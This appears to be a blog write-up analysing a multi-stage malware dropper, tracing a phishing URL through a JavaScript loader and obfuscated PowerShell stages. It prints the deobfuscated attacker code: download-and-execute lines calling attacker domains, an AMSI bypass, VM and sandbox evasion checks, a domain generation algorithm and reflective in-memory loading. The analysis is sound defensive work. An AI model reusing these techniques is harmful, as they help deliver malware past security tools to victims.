Skip to main content

Tracking malware to a dead end

It started with a URL

I recently stumbled upon the following curious URL hxxps://rechnung-webmail.nizmo.cl/uw73oo29/?C96B33DB56A85F924D2C3C5E664D872DFA9A0EE4.

The domain is now inactive, but at the time it redirected to hxxps://file.download.pelletquilapalos.cl/m7fd952z?C96B33DB56A85F924D2C3C5E664D872DFA9A0EE4=, which in turn redirects to hxxps://file.download.pelletquilapalos.cl/m7fd952z/?C96B33DB56A85F924D2C3C5E664D872DFA9A0EE4=.

This domain is still live, and hosts a number of almost identical JavaScript files, which function as a foothold for the attacker.

pelletquilapalos_index.png

Stage 1

File hash: a18fbbce429f46ccfdd1987410e2be5e37ec3bbd7e918c0580836b089f2ea50a

The downloaded script, _Rechung_01983895434_PDF.js, simply downloads and executes the next stage. It first decodes a string that contains a small PowerShell script, and then, through some obfuscation, creates a WMI object through which the PowerShell script is executed.

After some cleanup the first part of the script looks as follows:

var s1 = hexDecode('...SNIP...');
var s2 = hexDecode('...SNIP...');
var psscript = '';
for (var i = 0; i < s1.length; i++) {
    psscript += String.fromCharCode(s1[i] ^ s2[i % s2.length]);
}

This results in

psscript = "l $ar='ur' ;new-alias press c$($ar)l;$obdpaqhwuklx=(5863,5852,5869,5853,5848,5850,5793,5863,5858,5859,5794,5796,5793,5859,5851,5859,5810,5862,5808,5856,5852,5857,5863,5862,5796,5797);$dosvorv=('bronx','get-cmdlet');$zirbze=$obdpaqhwuklx;foreach($rob9e in $zirbze){$awi=$rob9e;$gavmlbrpjcts=$gavmlbrpjcts+[char]($awi-5747);$vizit=$gavmlbrpjcts; $lira=$vizit};$qejmxlvaiyfr[2]=$lira;$uvocxm='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)";

The rest of the script simply builds the final command, and executes it.

conhost --headless powershell $ar='ur' ;new-alias press c$($ar)l;$obdpaqhwuklx=(5863,5852,5869,5853,5848,5850,5793,5863,5858,5859,5794,5796,5793,5859,5851,5859,5810,5862,5808,5856,5852,5857,5863,5862,5796,5797);$dosvorv=('bronx','get-cmdlet');$zirbze=$obdpaqhwuklx;foreach($rob9e in $zirbze){$awi=$rob9e;$gavmlbrpjcts=$gavmlbrpjcts+[char]($awi-5747);$vizit=$gavmlbrpjcts; $lira=$vizit};$qejmxlvaiyfr[2]=$lira;$uvocxm='rl';$five=1;.$([char](9992-9887)+'ex')(press -useb $lira)

After some clean up the PowerShell script looks like this:

iex(iwr -uesb 'tizjeg.top/1.php?s=mints12');

Stage 2

File hash: 87c50ef1c50e43d2fbc144a9541edbd1a3c4fe7d90e1624896ddac0be6f9fe45

Behind this URL is the second stage, another obfuscated PowerShell script. An interesting phenomenon to note here is that only the first request to the URL returns the second stage. Every following requests simply redirects to the Google search page. This seems to be based on IP.

After some deobfuscation, we can see that it first disables AMSI, and then decodes a payload that was gzipped, xored with the key l6tm5d1uwog0, and finally base64 encoded. Finally it executes the decoded payload.

<###### Disable AMSI #######
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null, $true)
##########################>

##### Decode payload #####
function 81h52sl4pf9g3bdire7x0ck6mvu  {param($b64string )
  $encoded = [System.Convert]::FromBase64String($b64string)
  $key= $[System.Text.Encoding]::ascii.GetBytes("l6tm5d1uwog0")
    $xorDecoded = $(for ($i = 0; $i -lt $encoded.length; ) {
        for ($j = 0; $j -lt $key.length; $j++) {
            $encoded[$i] -bxor $key[$j]
            $i++
            if ($i -ge $encoded.Length) {
                $j = $key.length
            }
        }
    })
    $zipped = New-Object System.IO.MemoryStream( , $xorDecoded )
    $out = New-Object System.IO.MemoryStream
    $unzipped = New-Object System.IO.Compression.GzipStream $zipped, ([IO.Compression.CompressionMode]::Decompress)
    $unzipped.CopyTo( $out )
    $unzipped.Close()
    $zipped.Close()
    [byte[]] $res = $out.ToArray()
    return $res
}

$exp = [System.Text.Encoding]::ascii.GetString((decode "...SNIP..."))|iex;

The decoded script performs a number of sandboxing and VM checks, and then downloads the third stage.

Through the three checks a value is (key) is computed.

$isVM=(Get-MpComputerStatus).($executioncontext.invokecommand.expandstring("IsVirtualMachine"))

switch($true) {
	{$isVM -eq 3} {$key += 77894112871; break; }
	{$isVM -eq $true} {$key += 56397178688; break; }
	{$isVM -eq $false} {$key += 8284653466; break; }
}
$dac=(Get-WmiObject "Win32_VideoController" | Select-Object "AdapterDACType").("AdapterDACType")

switch($true){
	{$dac -match "Intel" -or $dac -match "SeaBIOS"} {$key += 59660584628; break; }
	{$dac -match "Internal" -or $dac -match "Integrated"} {$key += 4348978527; break; }
	{$dac.length -le 3} {$key += 4348978527; break; }
	{$dac -match "Internal" -or $dac -match "Integrated"} {$key += 4348978527; break; }
}
$id=(Get-CimInstance "Win32_PnPEntity" -Property "DeviceId").("DeviceId")
switch($true){
	{$id -like "*VMWVM*"} {$key += 21325663396; break; }
	{$id -like "DEV_VMBUS"} {$key += 34174759873; break; }
	{$id -like "VBOX"} {$key += 16598404333; break; }
	{$id -like "*VMWARE*"} {$key += 43151191303; break; }
}

To fetch the final stage, a seed based on the current day of the year is computed, and then used to generate a random domain name. Because of the deterministic seeding the domain name is predictable.

The generated domain is then used to fetch the last stage. Along with the same parameter s, as in the first stage, the computer name, and the computed key are also sent along to the server.

$key += 128089857;
$key += 696671468;
$key += 7751788840;

$domainname = ""
$seed = New-Object System.Random([int]((((Get-Date).("DayOfYear")+3) / 7) + 2024)*8842);
for ($i = 0; $i -lt 15; $i++) {
	$domainname += ("abcdefghijklmn")[$seed.Next(0, 14)];
}
$domain=$domainname+".top";


$filename=-join ((48..57) + (97..122) | Get-Random -Count 10| % {[char]$_});
$43ws6q9ik2zxct1=-join ((48..57) + (97..122) | Get-Random -Count 5 | % {[char]$_});
$fullname="$($filename)htr$($findom)";
$global:block=(curl -useb "http://$domain/$fullname.php?id=$env:computername&key=$key&s=mints12"); 
iex $global:block

It is not clear whether the computed key has an effect on the returned response. It also employs the same mechanism as the second stage, i.e. only returning the script on the first request.

Stage 3

File hash: bd3166481098543ed3bba7bf0504f5799784ea37b3cd79ce1b4dbf2a44aef1d1

The third stage is relatively straightforward. First, another AMSI bypass is applied, then the script will attempt to download the actual malware, and load it reflectively.

###### AMSI bypass #######
# ... SNIP ...

###### Virus download ######
###### LINK DEAD ######
$url = "https://temp.sh/bfseS/ruzxs.exe"


$client = New-Object System.Net.WebClient

# Download the assembly bytes
$assemblyBytes = $client.DownloadData($url)

# Load the assembly into memory
$assembly = [System.Reflection.Assembly]::Load($assemblyBytes)

# Execute the entry point of the assembly
$entryPoint = $assembly.EntryPoint
$entryPoint.Invoke($null, @())

URL generation

Here is the isolated script to generate a valid URL to fetch the third stage:


# IsVirtualMachine -eq $false
$isVM=$false;
switch($true) {
	{$isVM -eq 3} {$key += 77894112871; break; }
	{$isVM -eq $true} {$key += 56397178688; break; }
	{$isVM -eq $false} {$key += 8284653466; break; }
}


# AdapterDACType -eq "Intel" -or AdapterDACType -eq "SeaBIOS"
$dac="Intel"
switch($true){
	{$dac -match "Intel" -or $dac -match "SeaBIOS"} {$key += 59660584628; break; }
	{$dac -match "Internal" -or $dac -match "Integrated"} {$key += 4348978527; break; }
	{$dac.length -le 3} {$key += 4348978527; break; }
	{$dac -match "Internal" -or $dac -match "Integrated"} {$key += 4348978527; break; }
}

# DeviceId -like *VMVM*
$id="aVMVMa"
switch($true){
	{$id -like "*VMWVM*"} {$key += 21325663396; break; }
	{$id -like "DEV_VMBUS"} {$key += 34174759873; break; }
	{$id -like "VBOX"} {$key += 16598404333; break; }
	{$id -like "*VMWARE*"} {$key += 43151191303; break; }
}

$key += 128089857;
$key += 696671468;
$key += 7751788840;


$domainname = ""
$ldjnbsfehmig = New-Object System.Random([int]((((Get-Date).("DayOfYear")+3) / 7) + 2024)*8842);
for ($oyrbmkvftiaxes = 0; $oyrbmkvftiaxes -lt 15; $oyrbmkvftiaxes++) {
	$domainname += ("abcdefghijklmn")[$ldjnbsfehmig.Next(0, 14)];
}
$domain=$domainname+".top";

$filename=-join ((48..57) + (97..122) | Get-Random -Count 10| % {[char]$_});
$43ws6q9ik2zxct1=-join ((48..57) + (97..122) | Get-Random -Count 5 | % {[char]$_});
$fullname="$($filename)htr$($findom)";

echo "http://$domain/$fullname.php?id=$env:computername&key=$key&s=mints12";

A note on obfuscation

To finish of this text I want to quickly discuss the obfuscation methods used in the PowerShell scripts. The obfuscation techniques were certainly not novel, but at least prevented PowerDecode to extract the domain where the third stage was hosted.

Besides random strings as variable names, the main method of obfuscation was to express most strings as an array of "obfuscated" integers. See examples below.

[system.String]::new(@((4820-4715),(1069750/9725),(4506-4388),(7464-7353),(-3568+3675),(-1363+1464),(194535/(17728230/9022)),(7012-6901),(721798/(37480520/5660)),(-1833+(-7616+(47656188/4986))),(675-578),(690360/(-869+(5240+1905))),(-3105+3205)))
-join (@((7382-(9647-2366)),(502440/4187),(460432/(15132591/3681)),(2037/(-2265+(3780-(14641200/(15887-6087))))),(59840/544),(919800/9198),(7605-7490),(-1836+1952),(5952-(8054-2216)),(-1964+(5755958/2782)),(-1159+(6209217/(4692387/959))),(-1446+(-3633+(40315960/(8847-1067)))))| ForEach-Object { [char]$_ })
[char[]]@((-6711+6816),(769890/6999),(8069-7951),(157509/(-8818+10237)),(8720-(2826+5787)),(869610/(10745280/1248)),(457578/(-5505+(6192+(38448885/9771)))),(9782-(19594-(52760591/(30168658/(1012+(32899734/(6406+(-2757+3408)))))))),(1078337/(6909+2984)),(-4243+4352),(-2045+2142),(51590/(2131-(-4817+6479))),(6240-6140)) -join ''